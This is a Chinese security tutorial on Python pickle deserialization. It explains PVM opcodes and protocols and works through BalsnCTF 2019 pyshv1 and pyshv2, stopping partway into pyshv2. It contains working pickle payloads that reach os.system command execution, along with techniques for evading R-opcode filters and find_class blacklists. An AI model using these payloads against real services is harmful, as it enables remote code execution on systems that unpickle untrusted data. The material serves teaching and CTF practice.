SecMap - 反序列化(Python)

本文最后更新于:2022年8月10日 上午

居家隔离实在是太无聊了,更一篇文章吧。

介绍

与 PHP 反序列化类似,Python 反序列化也是为了解决对象传输与持久化存储问题。

相关库和方法

在 Python 中内置了标准库 pickle/cPickle(3.x 改名为 _pickle),用于序列化/反序列化的各种操作(Python 的官方文档中,称其为 封存/解封,意思其实差不多),比较常见的当然是 dumps(序列化)和 loads(反序列化)啦。其中 pickle 是用 Python 写的,cPickle 是用 C 语言写的,速度很快,但是它不允许用户从 pickle 派生子类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle


class Test:
def __init__(self):
self.a = 1


test = Test()

serialized = pickle.dumps(test)
print(serialized)

unserialized = pickle.loads(serialized)
print(unserialized.a)

结果如下:

1
2
b'\x80\x04\x95"\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94\x8c\x01a\x94K\x01sb.'
1

第一行看起来很复杂?马上说到。

PVM

要对序列化、反序列化很清楚的话,一定要了解 PVM,这背后又有非常多的细节。

首先,在调用 pickle 的时候,实际上是 class pickle.Picklerclass pickle.Unpickler 在起作用,而这两个类又是依靠 Pickle Virtual Machine(PVM),在更深层对输入进行着某种操作,从而最后得到了那串复杂的结果。

PVM 由三部分组成:

  1. 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止(看上面的代码示例,序列化之后的结果最后是 .)。最终留在栈顶的值将被作为反序列化对象返回。需要注意的是:
    1. opcode 是单字节的
    2. 带参数的指令用换行符来确定边界
  2. 栈区:用 list 实现的,被用来临时存储数据、参数以及对象。
  3. 内存区:用 dict 实现的,为 PVM 的整个生命周期提供存储。

最后,PVM 还有协议一说,这里的协议指定了应该采用什么样的序列化、反序列化算法。

PVM 协议

当前共有 6 种不同的协议可用,使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。

  1. v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python
  2. v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容
  3. v2 版协议是在 Python 2.3 中加入的,它为存储 new-style class 提供了更高效的机制(参考 PEP 307)。
  4. v3 版协议是在 Python 3.0 中加入的,它显式地支持 bytes 字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议。
  5. v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化(参考 PEP 3154)。它是 Python 3.8 使用的默认协议。
  6. v5 版协议是在 Python 3.8 中加入的。它增加了对带外数据的支持,并可加速带内数据处理(参考 PEP 574)。

上面那个代码示例,我用的是 py3.8,如果要得到易读的序列化结果,在 dumps 中指定协议版本即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle


class Test:
def __init__(self):
self.a = 1


test = Test()

serialized = pickle.dumps(test, protocol=0) # 指定版本
print(serialized)

unserialized = pickle.loads(serialized) # 注意,loads 能够自动识别反序列化的版本
print(unserialized.a)

结果如下:
1
2
b'ccopy_reg\n_reconstructor\np0\n(c__main__\nTest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVa\np6\nI1\nsb.'
1

在序列化时,协议版本是自动检测出来的,所以诸如 loads 方法是不需要参数来指定协议的。

由于不同版本在利用的时候没有很大区别,所以本文以最易读的 v0 协议为例。

opcode

opcode 是 PVM 的灵魂,控制整个流程的运行。常用的我给翻译了一下,各位现查现用好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
MARK           = b'('   # 向栈中压入一个 MARK 标记
STOP = b'.' # 程序结束,栈顶的一个元素作为 pickle.loads() 的返回值
POP = b'0' # 丢弃栈顶对象
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # 实例化一个 float 对象
INT = b'I' # 实例化一个 int 或者 bool 对象
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # 栈中压入 None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # push persistent object; id is taken from stack
REDUCE = b'R' # 从栈上弹出两个对象,第一个对象作为参数(必须为元组),第二个对象作为函数,然后调用该函数并把结果压回栈
STRING = b'S' # 实例化一个字符串对象
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # push string; counted binary string argument < 256 bytes
UNICODE = b'V' # 实例化一个 UNICODE 字符串对象
BINUNICODE = b'X' # push Unicode string; counted UTF-8 string argument
APPEND = b'a' # 将栈的第一个元素 append 到第二个元素(必须为列表)中
BUILD = b'b' # 使用栈中的第一个元素(储存多个 属性名-属性值 的字典)对第二个元素(对象实例)进行属性设置,调用 __setstate__ 或 __dict__.update()
GLOBAL = b'c' # 获取一个全局对象或 import 一个模块(会调用 import 语句,能够引入新的包),压入栈
DICT = b'd' # 寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对),弹出组合,弹出 MARK,压回结果
EMPTY_DICT = b'}' # 向栈中直接压入一个空字典
APPENDS = b'e' # 寻找栈中的上一个 MARK,组合之间的数据并 extends 到该 MARK 之前的一个元素(必须为列表)中
GET = b'g' # 将 memo[n] 的压入栈
BINGET = b'h' # push item from memo on stack; index is 1-byte arg
INST = b'i' # 相当于 c 和 o 的组合,先获取一个全局函数,然后从栈顶开始寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # 从栈顶开始寻找栈中的上一个 MARK,并组合之间的数据为列表
EMPTY_LIST = b']' # 向栈中直接压入一个空列表
OBJ = b'o' # 从栈顶开始寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象),弹出 MARK,压回结果,
PUT = b'p' # 将栈顶对象储存至 memo[n]
BINPUT = b'q' # store stack top in memo; index is 1-byte arg
LONG_BINPUT = b'r' # store stack top in memo; index is 4-byte arg
SETITEM = b's' # 将栈的第一个对象作为 value,第二个对象作为 key,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为 key)中
TUPLE = b't' # 寻找栈中的上一个 MARK,并组合之间的数据为元组,弹出组合,弹出 MARK,压回结果
EMPTY_TUPLE = b')' # 向栈中直接压入一个空元组
SETITEMS = b'u' # 寻找栈中的上一个 MARK,组合之间的数据(数据必须有偶数个,即呈 key-value 对)并全部添加或更新到该 MARK 之前的一个元素(必须为字典)中
BINFLOAT = b'G' # push float; arg is 8-byte float encoding

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

当然,这些都是 v0 协议的 opcode,其他版本的协议会新增/替换一些 opcode,详见资料 2。

以上面那个 b'ccopy_reg\n_reconstructor\np0\n(c__main__\nTest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVa\np6\nI1\nsb.' 为例,我们来解读一下这个序列化结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
c copy_reg _reconstructor: stack[copy_reg._reconstructor]

p 0: memo[copy_reg._reconstructor]

(: stack[(, copy_reg._reconstructor]

c __main__ Test: stack[__main__.Test, (, copy_reg._reconstructor]

p 1: memo[copy_reg._reconstructor, __main__.Test]

c __builtin__ object: stack[__builtin__.object, __main__.Test, (, copy_reg._reconstructor]

p 2: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object]

N: stack[None, __builtin__.object, __main__.Test, (, copy_reg._reconstructor]

t: stack[(None, __builtin__.object, __main__.Test), copy_reg._reconstructor]

p 3: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object, (None, __builtin__.object, __main__.Test)]

R stack[<__main__.Test at 0x160578603d0>]

p 4: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object, (None, __builtin__.object, __main__.Test), <__main__.Test at 0x160578603d0>]

(: stack[(, <__main__.Test at 0x160578603d0>]

d: stack[{}, <__main__.Test at 0x160578603d0>]

p 5: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object, (None, __builtin__.object, __main__.Test), <__main__.Test at 0x160578603d0>, {}]

V a: stack["a", <__main__.Test at 0x160578603d0>]

p 6: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object, (None, __builtin__.object, __main__.Test), <__main__.Test at 0x160578603d0>, {}, "a"]

I 1: stack[1, "a", <__main__.Test at 0x160578603d0>]

s: stack[{"a": 1}, <__main__.Test at 0x160578603d0>]

b: stack[<__main__.Test at 0x160578603d0>] # set a = 1

.: [] # 返回 <__main__.Test at 0x160578603d0>

我感觉,整个过程有点像语法分析里的 LR 算法,不断移进-规约。

虽然这个结果的可读性好了很多,但是依旧不容易读懂。

所以 Python 官方提供了工具,叫 pickletools,它的作用主要是:

  1. 可读性较强的方式展示一个序列化对象(pickletools.dis
  2. 对一个序列化结果进行优化(pickletools.optimize
1
2
3
import pickletools

print(pickletools.dis(serialized))

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    0: c    GLOBAL     'copy_reg _reconstructor'
25: p PUT 0
28: ( MARK
29: c GLOBAL '__main__ Test'
44: p PUT 1
47: c GLOBAL '__builtin__ object'
67: p PUT 2
70: N NONE
71: t TUPLE (MARK at 28)
72: p PUT 3
75: R REDUCE
76: p PUT 4
79: ( MARK
80: d DICT (MARK at 79)
81: p PUT 5
84: V UNICODE 'a'
87: p PUT 6
90: I INT 1
93: s SETITEM
94: b BUILD
95: . STOP
highest protocol among opcodes = 0

这个要比自己分析序列化结果清晰多了。

细心的橘友们会注意到,在上面那个人工分析序列化的过程中,memo 一直是只有压入,没有弹出,所以 memo 里的数据压根就用不着,那么也有没必要压入了。所以上面的序列化结果完全可以把 pn 都去掉,再把不需要的 \n 移除,优化为:b'ccopy_reg\n_reconstructor\n(c__main__\nTest\nc__builtin__\nobject\nNtR(dVa\nI1\nsb.',我们来执行一下试试:

当然,也可以用 pickletools.optimize 自动优化:

虽然这个优化结果与我们手动优化是一模一样的,但是在遇到复杂的序列化结果时,最好还是用这个方法来搞。

小结

由于在反序列化的时候,这个对象要能在当前环境上下文中创建,所以在实际的利用过程中,那些默认加载的库、标准库(可被自动 import)就成了首选的类,比如 os,它有 system 方法。

对于 Python 可以被 pickle/unpickle 的对象以及其他一些注意事项,可以参考官方文档,见资料 3

我这里列出几点比较重要的:

  1. 函数(内置函数或用户自定义函数)在被封存时,引用的是函数全名(这就是为什么 lambda 函数不可以被封存:所有的匿名函数都有同一个名字:<lambda>)。这意味着只有函数所在的模块名,与函数名会被封存,函数体及其属性不会被封存。因此,在解封的环境中,函数所属的模块必须是可以被导入的,而且模块必须包含这个函数被封存时的名称,否则会抛出异常
  2. 类也只封存名称,所以在解封环境中也有和函数相同的限制。注意,类体及其数据不会被封存,只有实例数据会被封存,所以在下面的例子中类属性 attr 不会存在于解封后的环境中:
    1
    2
    3
    4
    5
    6
    import pickle

    class Foo:
    attr = 'A class attribute'

    picklestring = pickle.dumps(Foo)
  3. 当实例解封时,它的 __init__() 方法通常不会被调用。其默认动作是:先创建一个未初始化的实例,然后还原其属性:
    1
    2
    3
    4
    5
    6
    7
    def save(obj):
    return (obj.__class__, obj.__dict__)

    def load(cls, attributes):
    obj = cls.__new__(cls)
    obj.__dict__.update(attributes)
    return obj

最后需要注意的是,由于 0 的存在,一个序列化字符串可以包含很多个不相关的操作,在后面会有一个例子来说明。

攻击思路

本来打算按照攻击场景来分类的,但是我发现场景太多了,还是按照构造方式分类,攻击手法作为附属示例会比较清晰。

payload 的构造分为用魔术方法自动构造和手动构造(手搓 opcode)。

自动构造

首先,这样序列化肯定是达不到攻击目的的:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os


class Test:
def __init__(self):
self.a = os.system("whoami")

test = Test()

serialized = pickle.dumps(test, protocol=0)
print(serialized)

os.system("whoami")test = Test() 就会被执行完毕,所以这个可以说是自己日自己了。

相关魔术方法

上面提到过,解封的时候是有一个默认的赋值过程,既然是默认行为,往往是有办法自定义的。Python 提供了很多魔术方法(比如比较常见的 __reduce__),来改变这一默认行为。下面一起来看下这些魔术方法都是怎么用的(下面几个方法的介绍,内容大部分都是摘录自官方文档)。

__getnewargs_ex__()

限制:

  1. 对于使用 v2 版或更高版协议的 pickle 才能使用此方法
  2. 必须返回一对 (args, kwargs) 用于构建对象,其中 args 是表示位置参数的 tuple,而 kwargs 是表示命名参数的 dict

__getnewargs_ex__() 方法 return 的值,会在解封时传给 __new__() 方法的作为它的参数。

__getnewargs__()

限制:

  1. 必须返回一个 tuple 类型的 args
  2. 如果定义了 __getnewargs_ex__(),那么 __getnewargs__() 就不会被调用。

这个方法与上一个 __getnewargs_ex__() 方法类似,但只支持位置参数。

注:在 Python 3.6 前,v2、v3 版协议会调用 __getnewargs__(),更高版本协议会调用 __getnewargs_ex__()

__getstate__()

类还可以进一步控制实例的封存过程。如果类定义了 __getstate__(),它就会被调用,其返回的对象是被当做实例内容来封存的,否则封存的是实例的 __dict__。如果 __getstate__() 未定义,实例的 __dict__ 会被照常封存。

__setstate__()

当解封时,如果类定义了 __setstate__(),就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 __dict__

如果 __getstate__() 返回 False,那么在解封时就不会调用 __setstate__() 方法。

所以可以这么理解,pickle 时,Python 会封存该实例的 __getstate__ 方法返回给它的值;unpickle 时,Python 将 unpickle 后的值作为参数传递给实例的 _setstate_() 方法。而在 _setstate_() 方法内部,是按照事先自定义好的流程来重建实例。

__reduce__()

限制:

  1. __reduce__ 方法是新式类特有的

opcode R 其实就是 __reduce__()

__reduce__() 方法不带任何参数,并且应返回字符串或最好返回一个元组(返回的对象通常称为 “reduce 值”)。

如果返回字符串,该字符串会被当做一个全局变量的名称。它应该是对象相对于其模块的本地名称,pickle 模块会搜索模块命名空间来确定对象所属的模块。这种行为常在单例模式使用。

如果返回的是元组,则应当包含 2 到 6 个元素,可选元素可以省略或设置为 None。每个元素代表的意义如下:

  1. 一个可调用对象,该对象会在创建对象的最初版本时调用。
  2. 可调用对象的参数,是一个元组。如果可调用对象不接受参数,必须提供一个空元组。
  3. 可选元素,用于表示对象的状态,将被传给前述的 __setstate__() 方法。如果对象没有此方法,则这个元素必须是字典类型,并会被添加至 __dict__ 属性中。
  4. 可选元素,一个返回连续项的迭代器(而不是序列)。这些项会被 obj.append(item) 逐个加入对象,或被 obj.extend(list_of_items) 批量加入对象。这个元素主要用于 list 的子类,也可以用于那些正确实现了 append()extend() 方法的类。(具体是使用 append() 还是 extend() 取决于 pickle 协议版本以及待插入元素的项数,所以这两个方法必须同时被类支持)
  5. 可选元素,一个返回连续键值对的迭代器(而不是序列)。这些键值对将会以 obj[key] = value 的方式存储于对象中。该元素主要用于 dict 子类,也可以用于那些实现了 __setitem__() 的类。
  6. 可选元素,一个带有 (obj, state) 签名的可调用对象。该可调用对象允许用户以编程方式控制特定对象的状态更新行为,而不是使用 obj 的静态 __setstate__() 方法。如果此处不是 None,则此可调用对象的优先级高于 obj 的 __setstate__()

3.8 新版功能: 新增了元组的第 6 项,可选元素 (obj, state)

可以看出,其实 pickle 并不直接调用上面的几个函数。事实上,它们实现了 __reduce__() 这一特殊方法。尽管这个方法功能很强,但是直接在类中实现 __reduce__() 容易产生错误。因此,设计类时应当尽可能的使用高级接口(比如 __getnewargs_ex__()__getstate__()__setstate__())。后面仍然可以看到直接实现 __reduce__() 接口的状况,可能别无他法,可能为了获得更好的性能,或者两者皆有之。

__reduce_ex__()

作为替代选项,也可以实现 __reduce_ex__() 方法。此方法的唯一不同之处在于它接受一个整型参数用于指定协议版本。如果定义了这个函数,则会覆盖 __reduce__() 的行为。此外,__reduce__() 方法会自动成为扩展版方法的同义词。这个函数主要用于为以前的 Python 版本提供向后兼容的 reduce 值。

利用 __reduce__() 自动生成

这里举一个简单的执行命令的 demo。

显然,在上面那么多方法中,__reduce__() 是我们的首选构造方案,demo 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import os


class Test:
def __reduce__(self):
return (os.system, ("whoami", ))

test = Test()

serialized = pickle.dumps(test, protocol=0)
print(serialized)

结果:b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

当然,新式类是 3.x 才有的。如果要在 2.x(>= 2.2,< 2.2 无新式类)使用 __reduce__ 的话,需要手动显式继承新式类,把 class Test 改为 class Test(object) 即可。

如果攻击目标可以传入任意序列化结果,那么这个 payload 直接就可以生效。这种攻击最为简单,在 CTF 中,有利用黑名单 ban 掉 system 等等函数的题目,思路就是寻找黑名单的漏网之鱼。

避免使用特定的 opcode

如果攻击目标有对传入的序列化结果做高危 opcode 判断的话,可以尝试用不同版本的协议:

这种差异性或许能让我们绕过一些 if 判断。不过,诸如 R 这种比较必需的 opcode,一般是很难用其他 opcode 来直接代替的。

souse

为了方便构造 Payload,我写了一个自动转化的工具:souse,可以将 Python 源码形式的 exp 转为 opcode 形式的 exp,可冲!

不过,在用工具之前一定要先看下如何根据利用链手搓 opcode,毕竟工具只是工具而已。

网上也有另一个自动构造工具,见资料 4。

手动构造

手动构造需要对 opcode 比较了解(实际上用几次就熟练了)。由于自动构造的手法手动构造都可以做到,所以为了避免内容重复,这里只列举手动构造特有攻击的手法。

全局引用

举个例子:

1
2
3
4
5
6
7
import secret

class Target:
def __init__(self):
obj = pickle.loads(ser) # 输入点
if obj.pwd == secret.pwd:
print("Hello, admin!")

在这个例子中,假如我就是想通过这个 if 来完成攻击,应该怎么实现呢?

先看自动构造,比较直接的思路就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
class secret:
pwd = "???"

class Target:
def __init__(self):
self.pwd = secret.pwd

test = Target()

serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)
# 结果
# b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\nV???\nsb.'

这个犯了和上面那个命令执行相同的错误,在实例化 Target 的时候,self.pwd 就已经被赋值完成了,而这肯定是有问题的,因为你不知道 secret.pwd 到底是啥(这里加个 class secret 只是为了代码可以运行)。

这个时候,我们可以利用 c 这个 opcode 来完成攻击。c 其实就是 pickle.Unpickler().find_class(module, name)

它的作用是导入 module 模块并返回其中名叫 name 的对象,其中 module 和 name 参数都是 str 对象。文档指出,find_class() 同样可以用来导入函数。

既然如此,我们就可以把攻击目标类中引用的 secret.pwdc 拿进来:

1
2
3
4
# 前后对比
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\nV???\nsb.'

b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'

丢进去看看:

nice

引入魔术方法

举个 RCE 的例子:

1
2
3
4
5
6
7
class Target:
def __init__(self):
ser = "" # 输入点
if "R" in ser:
print("Hack! <[email protected][email protected]")
else:
obj = pickle.loads(ser)

对于这个例子来说,要想 RCE,需要过这里的 if,也就是不能用 R

先来看下常规的 payload 是什么样的:

1
2
cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.
^

这 R 如何去除呢?b 就派上用场了。

回顾一下它的作用:使用栈中的第一个元素(储存多个 属性名-属性值 的字典)对第二个元素(对象实例)进行属性/方法的设置。既然可以设置实例的方法,那么能不能设置一个方法让它在反序列化的时候自动运行呢?什么方法会在反序列化的时候自动运行,答案是上面提到的 __setstate__()

所以,我们只需要令 __setstate__ = os.system,再把参数传入即可:

1
ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dV__setstate__\ncos\nsystem\nubVwhoami\nb.

但是我们把执行函数的那个 R 去掉之后,由于要构建实例,又引入了一个新的 R。用前面提到过的,修改协议版本即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
\x80\x02c__main__\nTest\n)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.
# pickletools.dis 如下
0: c GLOBAL '__main__ Test'
15: ) EMPTY_TUPLE
16: \x81 NEWOBJ
17: } EMPTY_DICT
18: ( MARK
19: V UNICODE '__setstate__'
33: c GLOBAL 'os system'
44: u SETITEMS (MARK at 18)
45: b BUILD
46: V UNICODE 'whoami'
54: b BUILD
55: . STOP

\x80\x02 是协议的版本声明,可写可不写,写错了也不影响 Python 识别;\x81 其实就是通过 cls.__new__ 来创建一个实例,需要栈顶有 args(元组) 和 kwds(字典)。

find_class 黑名单绕过

Python 的官方文档里,明确表示了 pickle 是不保证安全性的,所以数据一定要可信才能进行 unpickle

同时,也给出了安全使用 pickle 的最佳实践:

当序列化中 opcode 出现 cib'\x93' 时,会调用 find_class。利用白名单方法来限制解封的对象一般是没问题的。但是如果用黑名单,就容易出现疏漏,攻击的思路就是用 mro 来层层深入寻找黑名单以外的模块、方法,与我之前写的《Python 沙箱逃逸的经验总结》(见资料 1)里提到的技巧如出一辙,我这里就不啰嗦了。

如果你经常打 CTF,就会发现现在 Python 反序列化的题目基本上都要用到 find_class,后面会有一些经典的题目。作为题目难度控制器,需要和其他场景联合起来去看如何绕过,所以我这里就不单独举例说明了。

变量与方法覆盖

举个例子:

1
2
3
4
5
6
7
8
PWD = "???"  # 已打码


class Target:
def __init__(self):
obj = pickle.loads(ser) # 输入点
if obj.pwd == PWD:
print("Hello, admin!")

这个时候,可以通过 import builtins 来覆盖 globals 里的 PWD,转成代码就是这样:

1
2
3
4
5
import builtins

builtins.globals()["PWD"] = "tr0y" # 先把 PWD 改成一个值

obj.pwd = "tr0y" # 再让 obj.pwd 也等于这个值

转成 opcode 就是:cbuiltins\nglobals\n(tR(VPWD\nVtr0y\nu.,但是还有一个问题,此时 obj 实际上是字典,它并没有 pwd 这个属性,所以在 if 判断的时候就会直接报错。

解决的办法就是用 0 把栈里的 builtins.globals() 弹出,它已经完成了自己修改 PWD 值的使命;然后再压入一个 Target 实例,并让它的 pwd 属性等于 tr0y,这样就可以让 obj.pwd 的值与 PWD 一致:

1
2
cbuiltins\nglobals\n(tR(VPWD\nVtr0y\nu0c__main__\nTarget\n)\x81}(Vpwd\nVtr0y\nub.
^

这里你可能会想,builtins.globals() 是字典,而 Python 中一切皆对象,那么这个字典也是一个实例,这样岂不是也可以用 b 来给这个字典新增一个属性?这样 payload 就简洁得多:

1
cbuiltins\nglobals\n(tR(VPWD\nVtr0y\nu}(Vpwd\nVtr0y\nub.

遗憾的是,前面提到过,b 是执行 __dict__.update(),而字典是没有 __dict__ 这个属性的,所以没法通过 b 给它新增一个属性:

当然,不仅变量可以被覆盖,方法也是可以被覆盖的。比如 sys.modules.get("os"),可以先用代码理清楚链路:

1
2
3
4
5
import sys
p0 = sys.modules
p0["sys"] = p0
import sys
p0["sys"] = sys.get("os")

转成 opcode:

1
csys\nmodules\np0\n0g0\nVsys\ng0\nscsys\nget\n(Vos\ntR.

注意这里的 import 了两次,只有第一次是真正执行了 sys 模块,然后载入内存,第二次是从 sys.modules 直接引入的。这个特性与 Python import 协议有关系,它由两个模块构成,查找器和加载器。导入详细机制可看资料 5。

所以,这个思路要求对 Python 内置的一些属性、方法、模块有扎实的掌握。比如按照 Python 文档的意思来看,属性包括 数据属性方法,所以严格来说,我们常说的属性一词,其实特指 数据属性(这一点没必要太纠结,反正大家都是这么说的)。还有,大家可能习惯性用 dir() 来查看属性和方法,其实它在参数不同的时候,查询的逻辑是不一样的:

我一般是在 ipython 中用 .*? 来查看,例如 os.*?,这个结果是非常全的。

另外特别注意的是,有些对象的 __dict__ 属于 mappingproxy 类型,例如:

如果直接用 b 这种对象进行属性修改的话,会抛出异常:

查看 pickle 的源码(见资料 6)可知(注:pickle 源码中有 _pickle(即 cPickle)优先使用的逻辑,如果这个模块导入失败,才会使用这上面的 pickle。这两个模块的逻辑略有差异,如果想仔细对比需要看下 _pickle 的 C 源码),最终会执行 inst_dict[intern(k)] = v,而 mappingproxy 类型禁止这样操作:

那么应该怎么办呢?再看源码,如果 state 是两个元素的元组,那么会执行 state, slotstate = state,如果此时 state in [None, {}](由于 _pickle 逻辑问题,是没办法让 state 等于 ''0 等这种值的),那么就会跑去执行 setattr(inst, k, v),这是 mappingproxy 类型允许的:

所以,假如有一个库是 A,里面有个类 b,要修改 b 的属性,原本要执行的 cA\nb\n}Va\nI1\nsb. 应该改为 cA\nb\n(N}Va\nI1\ntsb. 或者 cA\nb\n(}}Va\nI1\ntsb.

课后题

这三道题目是 2019 年的 BalsnCTF,非常经典的 Python 反序列化题,源码见资料 7

pyshv1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# ----- securePickle.py ----- 
import pickle
import io
import sys

whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)


def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps


# ----- server.py -----
import securePickle as pickle
import codecs
import sys

pickle.whitelist.append('sys')


class Pysh(object):
def __init__(self):
self.login()
self.cmds = {}

def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")

def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()


if __name__ == '__main__':
pysh = Pysh()
pysh.run()

限制条件如下:

  1. 只能引入 sys 模块
  2. 方法中不能有 .

这题比较简单,利用方法覆盖的思路,sys.modules.get("os").system("whoami") 就可以了,转为 opcode 即为:

1
2
3
4
csys\nmodules\np0\n0g0\nVsys\ng0\nscsys\nget\n(Vos\ntR  # 到这里和上面方法覆盖中的 payload 一样
p1\n0 # 把 os 存下来先,然后清空栈
g0\nVsys\ng1\ns # 引入 sys.modules 并令 sys.modules["sys"] = os,这个思路还是方法覆盖
csys\nsystem\n(Vwhoami\ntR. # 执行命令

在经过两轮覆盖 sys 之后,就可以执行任意命令了:

pyshv2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# ----- structs.py ----- 
# structs.py 是一个空文件


# ----- securePickle.py -----
import pickle
import io


whitelist = []


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)


def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps


# ----- server.py -----
import securePickle as pickle
import codecs
import sys

pickle.whitelist.append('structs')


class Pysh(object):
def __init__(self):
self.login()
self.cmds = {
'help': self.cmd_help,
'flag': self.cmd_flag,
}

def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")

def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()

def cmd_help(self):
print('Available commands: ' + ' '.join(self.cmds.keys()))

def cmd_su(self):
print("Not Implemented QAQ")
# self.user.privileged = 1

def cmd_flag(self):
print("Not Implemented QAQ")


if __name__ == '__main__':
pysh = Pysh()
pysh.run()

这道题难度提升了不少。限制如下:

  1. 只能引入 structs 模块
  2. 方法中不能有 .

上一道题利用方法覆盖,依赖的是可引入模块中的某些特殊方法。我们先来看下 structs 都有哪些属性:

再看下都有哪些方法:

__builtins____getattribute__ 都是好东西。

思路首先可以是 structs.__builtins__["eval"]("__import__('os').system('whoami')"),可是这里的 "eval" 是不好 get 的。

我们可以从后往前推。

("__import__('os').system('whoami')"),这个好解决,用 c 就行了。重点是 structs.__builtins__["eval"] 这个怎么搞出来。由于自定义的 find_class 用到了 __import__,所以 cstructs\n__builtins__ 就会执行 __import__("structs")。那么可以这样,首先,给 structs 加一个属性:structs.__dict__["p0"] = structs.__builtins__,再解开一层,给 structs 加一个属性:structs.__dict__["p1"] = structs.__dict__["p0"].get,那么 cstructs\np1\n(Veval\ntR. 就会执行 structs.__builtins__.get("eval"),所以这里的 opcode 就是:

1
2
3
4
cstructs\n__dict__\np0
(Vp0\ncstructs\n__builtins__\ns
(Vp1\ng0.get\ns # 这里是不行的
cstructs\np1\n(Veval\ntR(V__import__('os').system('whoami')\ntR.

遗憾的是,opcode 是不支持用 . 来取属性/方法的。

所以现在的问题就变成了,.get 这个方法怎么搞出来。

再看下 find_class:

1
2
module = __import__(module)
return getattr(module, name)

所以如果 module 是一个字典的话,那么 name 就可以置为 get,即 __import__("structs") 的结果应该是一个字典。而 __import__ 是可以被替换的,__getattribute__ 就派上了用场,令 structs.__builtins__['__import__'] = structs.__getattribute__。所以,我们还得给 structs 新增一个 structs 属性:structs.__dict__["structs"] = structs.__builtins__

